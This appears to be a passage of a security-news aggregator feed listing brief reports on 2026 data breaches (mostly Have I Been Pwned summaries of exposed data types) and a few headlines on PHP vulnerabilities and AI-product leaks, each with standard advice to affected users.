TechCrunch Security: Asos confirms breach of customer data after hackers send rogue app notification: https://techcrunch.com/2026/10/08/asos-confirms-breach-of-customer-data-after-hackers-send-rogue-app-notification/
TechCrunch Security syndication feed: https://techcrunch.com/category/security/feed/
The hackers alerted the fashion giant's customers through a push notification that said they had "fully compromised" the company's cloud storage.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PHP Meltdown Shows How AI Makes Bugs More Exploitable
https://kevwire.com/record/wired-kernel-panic-the-php-meltdown-shows-how-ai-makes-bugs-more-exploitable-cc8e1455e2bf
The PHP Meltdown Shows How AI Makes Bugs More Exploitable (Oct 24, 2026).
Security researchers used AI tools to help uncover years-old vulnerabilities in the PHP web scripting language. Then the AI-assisted attacks began.
Sources:
WIRED Security: The PHP Meltdown Shows How AI Makes Bugs More Exploitable: https://www.wired.com/story/kernel-panic-the-php-meltdown-shows-how-ai-makes-bugs-more-exploitable/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
Security researchers used AI tools to help uncover years-old vulnerabilities in the PHP web scripting language. Then the AI-assisted attacks began.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ‘This Is Not a Drill’: Critical PHP Vulnerabilities Are Setting the Internet on Fire
https://kevwire.com/record/wired-this-is-not-a-drill-2-php-vulnerabilities-are-setting-the-internet-on-fire-24b79b6be13d
‘This Is Not a Drill’: Critical PHP Vulnerabilities Are Setting the Internet on Fire (Oct 21, 2026).
The PHP Foundation has revealed two serious vulnerabilities that could impact millions of websites. Security experts warn that failure to quickly patch the flaws could have dire consequences.
Sources:
WIRED Security: ‘This Is Not a Drill’: Critical PHP Vulnerabilities Are Setting the Internet on Fire: https://www.wired.com/story/this-is-not-a-drill-2-php-vulnerabilities-are-setting-the-internet-on-fire/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
The PHP Foundation has revealed two serious vulnerabilities that could impact millions of websites. Security experts warn that failure to quickly patch the flaws could have dire consequences.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Design Flaw in Share Links Exposes Users’ Personal Conversations With Meta’s Muse
https://kevwire.com/record/wired-a-design-flaw-in-share-links-exposes-users-personal-conversations-with-meta-muse-b1d17f416976
A Design Flaw in Share Links Exposes Users’ Personal Conversations With Meta’s Muse (Oct 21, 2026).
The company is suspending the feature after security researchers discovered how easy it was to access sensitive information shared with the AI assistant.
Sources:
WIRED Security: A Design Flaw in Share Links Exposes Users’ Personal Conversations With Meta’s Muse: https://www.wired.com/story/a-design-flaw-in-share-links-exposes-users-personal-conversations-with-meta-muse/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
The company is suspending the feature after security researchers discovered how easy it was to access sensitive information shared with the AI assistant.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WhatsApp Help Pages Leaked Hidden Instructions for a Meta Chatbot
https://kevwire.com/record/wired-whatsapp-help-pages-leaked-hidden-instructions-for-a-meta-chatbot-2441be7c1a84
WhatsApp Help Pages Leaked Hidden Instructions for a Meta Chatbot (Oct 19, 2026).
Around 80 pages on WhatsApp’s website exposed instructions that were designed for its chatbot, including “WHAT NOT TO SAY.” Meta says a bug caused the issue.
Sources:
WIRED Security: WhatsApp Help Pages Leaked Hidden Instructions for a Meta Chatbot: https://www.wired.com/story/whatsapp-help-pages-leaked-hidden-instructions-for-a-meta-chatbot/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
Around 80 pages on WhatsApp’s website exposed instructions that were designed for its chatbot, including “WHAT NOT TO SAY.” Meta says a bug caused the issue.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Assurance Retraite breach: 70,372 accounts exposed
https://kevwire.com/record/hibp-assuranceretraite
Assurance Retraite breach: 70,372 accounts exposed (Oct 20, 2026).
In September 2024, the French national pension fund Assurance Retraite suffered a data breach affecting approximately 370k assistance beneficiaries . The data included 70k unique email addresses along with names, dates of birth, physical addresses, phone numbers, income levels, marital statuses, French social security numbers (NIR) and contact details of relatives or other nominated contacts. In its disclosure notice, Assurance Retraite attributed the breach to a compromised partner account .
Sources:
Have I Been Pwned: Assurance Retraite: https://haveibeenpwned.com/Breach/AssuranceRetraite
Assurance Retraite disclosure: https://web.archive.org/web/20241001202009/lassuranceretraite.fr/portail-info/hors-menu/annexe/fuite-donnees-suis-je-concerne.html
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2024-09-01; loaded 2026-10-20. Exposed data: Dates of birth, Email addresses, Family members' names, Government issued IDs, Income levels, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gîtes de France breach: 117,574 accounts exposed
https://kevwire.com/record/hibp-gitesdefrance
Gîtes de France breach: 117,574 accounts exposed (Oct 18, 2026).
In May 2026, the French holiday rental network Gîtes de France suffered a data breach affecting some of its departmental branches. The incident exposed hundreds of thousands of customer records, including 118k unique email addresses alongside names, phone numbers, postal addresses and booking details.
Sources:
Have I Been Pwned: Gîtes de France: https://haveibeenpwned.com/Breach/GitesDeFrance
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-16; loaded 2026-10-18. Exposed data: Booking details, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crunchbase breach: 559,908 accounts exposed
https://kevwire.com/record/hibp-crunchbase
Crunchbase breach: 559,908 accounts exposed (Oct 14, 2026).
In January 2026, the private company intelligence platform Crunchbase was targeted in a ShinyHunters "pay or leak" extortion attempt . Data allegedly obtained from the company was subsequently published publicly and included 560k unique email addresses, largely belonging to leads and business contacts. Other data included names, physical addresses, phone numbers, job titles, employers and LinkedIn profiles. Crunchbase later confirmed that a threat actor had exfiltrated documents from its corporate network.
Sources:
Have I Been Pwned: Crunchbase: https://haveibeenpwned.com/Breach/Crunchbase
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-22; loaded 2026-10-14. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Social media profiles. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sharecare breach: 318,185 accounts exposed
https://kevwire.com/record/hibp-sharecare
Sharecare breach: 318,185 accounts exposed (Oct 12, 2026).
In August 2026, the digital health company Sharecare was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data it claimed was taken from Sharecare's systems, containing 318k unique email addresses. Most of the data consisted of B2B sales and marketing records with names, physical addresses, phone numbers, job titles and employers. The data also included a small number of Brazilian health insurance plan members, including dates of birth, genders, marital statuses and CPF numbers (Brazilian taxpayer identification numbers).
Sources:
Have I Been Pwned: Sharecare: https://haveibeenpwned.com/Breach/Sharecare
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-12; loaded 2026-10-12. Exposed data: Dates of birth, Email addresses, Employers, Genders, Government issued IDs, Job titles, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Neogen breach: 435,963 accounts exposed
https://kevwire.com/record/hibp-neogen
Neogen breach: 435,963 accounts exposed (Oct 9, 2026).
In August 2026, the food and animal safety organisation Neogen was the target of a ShinyHunters "pay or leak" extortion attempt . The group later published data it claimed had been obtained from Neogen. The data consisted largely of corporate contact records and included 436k unique email addresses from mailing lists, employee records and other contacts.
Sources:
Have I Been Pwned: Neogen: https://haveibeenpwned.com/Breach/Neogen
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-29; loaded 2026-10-09. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Angel One breach: 6,765,054 accounts exposed
https://kevwire.com/record/hibp-angelone
Angel One breach: 6,765,054 accounts exposed (Oct 7, 2026).
In July 2024, the Indian stock brokerage firm Angel One confirmed that data leaked online related to a breach that occurred in April 2023 . The leaked data included 7.9M user records containing 6.8M unique email addresses, along with names, physical addresses, phone numbers, bank account numbers, Permanent Account Numbers (PANs) and portfolio holdings. Angel One emphasised that the breach "has no impact on client securities, funds, or credentials".
Sources:
Have I Been Pwned: Angel One: https://haveibeenpwned.com/Breach/AngelOne
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2023-04-01; loaded 2026-10-07. Exposed data: Bank account numbers, Dates of birth, Email addresses, Financial investments, Government issued IDs, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### RingCentral breach: 1,596,490 accounts exposed
https://kevwire.com/record/hibp-ringcentral
RingCentral breach: 1,596,490 accounts exposed (Aug 13, 2026).
In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data they claimed was obtained from the platform, which included 1.6M unique email addresses along with names, physical addresses and phone numbers. In their disclosure notice , RingCentral advised that the incident affected "a limited portion of RingCentral customers" and that it was communicating directly with those affected.
Sources:
Have I Been Pwned: RingCentral: https://haveibeenpwned.com/Breach/RingCentral
RingCentral disclosure: https://www.ringcentral.com/trust-center/security-bulletin.html
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-07-27; loaded 2026-08-13. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CyrusOne breach: 373,460 accounts exposed
https://kevwire.com/record/hibp-cyrusone
CyrusOne breach: 373,460 accounts exposed (Oct 7, 2026).
In August 2026, data centre operator CyrusOne was the target of a ShinyHunters "pay or leak" extortion attempt . The group subsequently published data allegedly obtained from the company, which included 373k unique email addresses across records relating to users, sales leads and CyrusOne employees. The data largely consisted of corporate contact information, including names, physical addresses, phone numbers and job titles. It also included support tickets and other information related to the organisation's operations.
Sources:
Have I Been Pwned: CyrusOne: https://haveibeenpwned.com/Breach/CyrusOne
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-05; loaded 2026-10-07. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double Counter breach: 274,922 accounts exposed
https://kevwire.com/record/hibp-doublecounter
Double Counter breach: 274,922 accounts exposed (Oct 7, 2026).
In October 2026, the Discord server protection service Double Counter suffered a data breach attributed to a vulnerability in the Metabase analytics tool . In its disclosure notice, Double Counter advised that attackers gained access to a subset of its data. A corpus of data was subsequently published publicly and contained 275k unique email addresses and Discord usernames. A small number of records belonging to paying subscribers whose purchases were processed via Stripe were also present and included names, countries and postcodes.
Sources:
Have I Been Pwned: Double Counter: https://haveibeenpwned.com/Breach/DoubleCounter
Double Counter disclosure: https://doublecounter.gg/blog/security-incident-october-2026
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-10-04; loaded 2026-10-07. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### LimeLeads breach: 17,838,396 accounts exposed
https://kevwire.com/record/hibp-limeleads
LimeLeads breach: 17,838,396 accounts exposed (Sep 22, 2026).
In 2019, the now-defunct B2B marketing leads database service LimeLeads suffered a data breach due to an exposed, unsecured Elasticsearch server. The incident exposed tens of millions of records of largely corporate contact data containing 17.8M unique email addresses, along with phone numbers, employers, job titles and geographic locations including state, city and postcode.
Sources:
Have I Been Pwned: LimeLeads: https://haveibeenpwned.com/Breach/LimeLeads
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2019-08-01; loaded 2026-09-22. Exposed data: Email addresses, Employers, Geographic locations, Job titles, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Burger King Russia breach: 3,155,792 accounts exposed
https://kevwire.com/record/hibp-burgerkingrussia
Burger King Russia breach: 3,155,792 accounts exposed (Sep 21, 2026).
In October 2024, news of a data breach exposing Burger King Russia customers broke following an August attack on the Mindbox marketing automation platform. The breach exposed 3.2M unique email addresses along with names, genders, dates of birth, phone numbers and approximate geolocations, with the data spanning 2018 to August 2024. Burger King Russia acknowledged the incident and advised it did not include payment or passport details.
Sources:
Have I Been Pwned: Burger King Russia: https://haveibeenpwned.com/Breach/BurgerKingRussia
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2024-08-25; loaded 2026-09-21. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Chess.com (2026) breach: 4,653,212 accounts exposed
https://kevwire.com/record/hibp-chess2026
Chess.com (2026) breach: 4,653,212 accounts exposed (Sep 13, 2026).
In August 2026, millions of records allegedly sourced from Chess.com were posted online . The data contained 7.3M rows with 4.6M unique email addresses, along with usernames, names, countries and data relating to users' Chess.com accounts. Analysis of the data suggested it had been obtained by scraping. When loaded into HIBP, 99% of the email addresses had already appeared in previous data breaches, further supporting the scraping theory. Read more about scrapes and data breaches.
Sources:
Have I Been Pwned: Chess.com (2026): https://haveibeenpwned.com/Breach/Chess2026
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-03; loaded 2026-09-13. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Golf Canada breach: 568,972 accounts exposed
https://kevwire.com/record/hibp-golfcanada
Golf Canada breach: 568,972 accounts exposed (Aug 22, 2026).
In mid-2026, hundreds of thousands of user records allegedly sourced from Golf Canada began circulating via Telegram. The data included 569k unique email addresses along with names, usernames, dates of birth, genders and approximate geographic locations (city, province and postcode). It remains unclear whether the data was obtained via unintentionally exposed website features or a security vulnerability.
Sources:
Have I Been Pwned: Golf Canada: https://haveibeenpwned.com/Breach/GolfCanada
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-14; loaded 2026-08-22. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Manchester Airports Group breach: 8,849,657 accounts exposed
https://kevwire.com/record/hibp-manchesterairportsgroup
Manchester Airports Group breach: 8,849,657 accounts exposed (Sep 2, 2026).
In August 2026, Manchester Airports Group (MAG) disclosed a data breach impacting their services . The incident was later claimed by the FulcrumSec hacking group , who subsequently published email addresses and phone numbers relating to 8.8M customers of Manchester, Stansted and East Midlands airports. The data contained personal information relating to airport services, including vehicle registrations and parking history, Fast Track purchases and lounge bookings. In their disclosure notice , MAG advised that "at no point has passenger safety or aviation security been compromised".
Sources:
Have I Been Pwned: Manchester Airports Group: https://haveibeenpwned.com/Breach/ManchesterAirportsGroup
Manchester Airports Group disclosure: https://mediacentre.magairports.com/mag-statement-on-cyber-security-incident/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-27; loaded 2026-09-02. Exposed data: Browser user agent details, Email addresses, Geographic locations, IP addresses, Names, Phone numbers, Purchases, Vehicle registration plates. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Questel breach: 1,226,209 accounts exposed
https://kevwire.com/record/hibp-questel
Questel breach: 1,226,209 accounts exposed (Sep 1, 2026).
In August 2026, the French intellectual property software and services company Questel was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published an extensive corpus of data they alleged was obtained from the company, largely comprising corporate contact information associated with sales leads, support cases and marketing activities, with 1.2M unique email addresses. The data also included names, employers and job titles, along with physical addresses and phone numbers.
Sources:
Have I Been Pwned: Questel: https://haveibeenpwned.com/Breach/Questel
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-01; loaded 2026-09-01. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Carhartt breach: 12,933,413 accounts exposed
https://kevwire.com/record/hibp-carhartt
Carhartt breach: 12,933,413 accounts exposed (Aug 25, 2026).
In August 2026, clothing retailer Carhartt was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data allegedly obtained from the company including 12.9M unique email addresses, names, phone numbers and physical addresses. The published corpus also contained millions of synthetic records that did not relate to real individuals and were excluded from the breach.
Sources:
Have I Been Pwned: Carhartt: https://haveibeenpwned.com/Breach/Carhartt
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-13; loaded 2026-08-25. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Oz Hair and Beauty breach: 1,988,331 accounts exposed
https://kevwire.com/record/hibp-ozhairandbeauty
Oz Hair and Beauty breach: 1,988,331 accounts exposed (Aug 19, 2026).
In August 2026, Australian beauty retailer Oz Hair and Beauty was the target of an xpl0itrs extortion attack . The group subsequently published data allegedly obtained from the company, which included 2M unique email addresses along with names, phone numbers, geographic locations (suburb and postcode) and purchases.
Sources:
Have I Been Pwned: Oz Hair and Beauty: https://haveibeenpwned.com/Breach/OzHairAndBeauty
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-15; loaded 2026-08-19. Exposed data: Email addresses, Geographic locations, Names, Phone numbers, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fanlore breach: 144,520 accounts exposed
https://kevwire.com/record/hibp-fanlore
Fanlore breach: 144,520 accounts exposed (Aug 19, 2026).
In August 2026, the Organization for Transformative Works (OTW) identified unauthorised access to the Fanlore wiki it operates . The breach resulted in the exposure of 145k unique email addresses along with usernames and passwords stored as either MD5 or PBKDF2 hashes. OTW self-submitted the exposed data to HIBP.
Sources:
Have I Been Pwned: Fanlore: https://haveibeenpwned.com/Breach/Fanlore
Fanlore disclosure: https://www.transformativeworks.org/fanlore-security-incident/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-06; loaded 2026-08-19. Exposed data: Email addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Alcon breach: 218,395 accounts exposed
https://kevwire.com/record/hibp-alcon
Alcon breach: 218,395 accounts exposed (Aug 9, 2026).
In August 2026, the Alcon eye care company was named in a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data allegedly sourced from Alcon containing 218k unique email addresses along with other largely corporate B2B contact fields, including name, phone number and physical address.
Sources:
Have I Been Pwned: Alcon: https://haveibeenpwned.com/Breach/Alcon
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-08-01; loaded 2026-08-09. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Brinks Home breach: 732,162 accounts exposed
https://kevwire.com/record/hibp-brinkshome
Brinks Home breach: 732,162 accounts exposed (Aug 8, 2026).
In July 2026, Brinks Home was targeted in a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data they alleged was taken from the company, including 732k unique email addresses and other personal information relating to leads, customers and Brinks staff such as name, phone numbers and physical addresses. The data also included purchases from Brinks along with partial credit card data (last 4 digits, card type and expiry). In Brinks' disclosure notice , they acknowledged the incident and risk of disclosure, and advised that they would notify impacted parties "consistent with applicable law".
Sources:
Have I Been Pwned: Brinks Home: https://haveibeenpwned.com/Breach/BrinksHome
Brinks Home disclosure: https://brinkshome.com/cybersecurity-update
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-07-13; loaded 2026-08-08. Exposed data: Dates of birth, Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inter-Con Security breach: 276,114 accounts exposed
https://kevwire.com/record/hibp-interconsecurity
Inter-Con Security breach: 276,114 accounts exposed (Aug 5, 2026).
In June 2026, Inter-Con Security was targeted in a ShinyHunters “pay or leak” extortion campaign . The group subsequently published data it alleged was taken from the company, including 276k unique email addresses along with names, physical addresses, job titles and phone numbers. The data encompassed a combination of contacts, internal users and leads.
Sources:
Have I Been Pwned: Inter-Con Security: https://haveibeenpwned.com/Breach/InterConSecurity
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-18; loaded 2026-08-05. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### SplitVPN breach: 865,336 accounts exposed
https://kevwire.com/record/hibp-splitvpn
SplitVPN breach: 865,336 accounts exposed (Aug 1, 2026).
In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach . The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date).
Sources:
Have I Been Pwned: SplitVPN: https://haveibeenpwned.com/Breach/SplitVPN
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-07-21; loaded 2026-08-01. Exposed data: Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Houston City College breach: 831,642 accounts exposed
https://kevwire.com/record/hibp-houstoncitycollege
Houston City College breach: 831,642 accounts exposed (Jul 28, 2026).
In June 2026, Houston City College was the target of a ShinyHunters "pay or leak" extortion campaign . Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni.
Sources:
Have I Been Pwned: Houston City College: https://haveibeenpwned.com/Breach/HoustonCityCollege
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-16; loaded 2026-07-28. Exposed data: Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation Endgame 4.0 breach: 4,348,526 accounts exposed
https://kevwire.com/record/hibp-operationendgame4
Operation Endgame 4.0 breach: 4,348,526 accounts exposed (Jun 18, 2026).
On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation , a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses.
Sources:
Have I Been Pwned: Operation Endgame 4.0: https://haveibeenpwned.com/Breach/OperationEndgame4
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-18; loaded 2026-06-18. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Suno breach: 55,282,226 accounts exposed
https://kevwire.com/record/hibp-suno
Suno breach: 55,282,226 accounts exposed (Jul 20, 2026).
In November 2025, AI music generation tool Suno suffered a data breach that later came to light in July the following year . The data contained over 55M unique email addresses. Phone numbers were also present where they had been used as the sign-up method. Although representing a small portion of the corpus, the breach also included tens of thousands of Stripe records relating to purchases, containing names, physical addresses, purchase amounts and partial credit card data including the card type, expiry date and last 4 digits. The company advised that "Suno does not have access to customers' full credit card numbers in Stripe".
Sources:
Have I Been Pwned: Suno: https://haveibeenpwned.com/Breach/Suno
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-25; loaded 2026-07-20. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Paidwork breach: 23,272,765 accounts exposed
https://kevwire.com/record/hibp-paidwork
Paidwork breach: 23,272,765 accounts exposed (Jul 19, 2026).
In March 2026, hackers claimed they had obtained data from the gig economy platform Paidwork which they then listed for sale . Almost 11GB of data allegedly obtained from the platform was subsequently posted publicly in July and contained over 23M unique email addresses. The breach also included a broad range of other data relating to the operation of the platform including user profile data, banking information, payout history for workers and passwords stored as bcrypt hashes.
Sources:
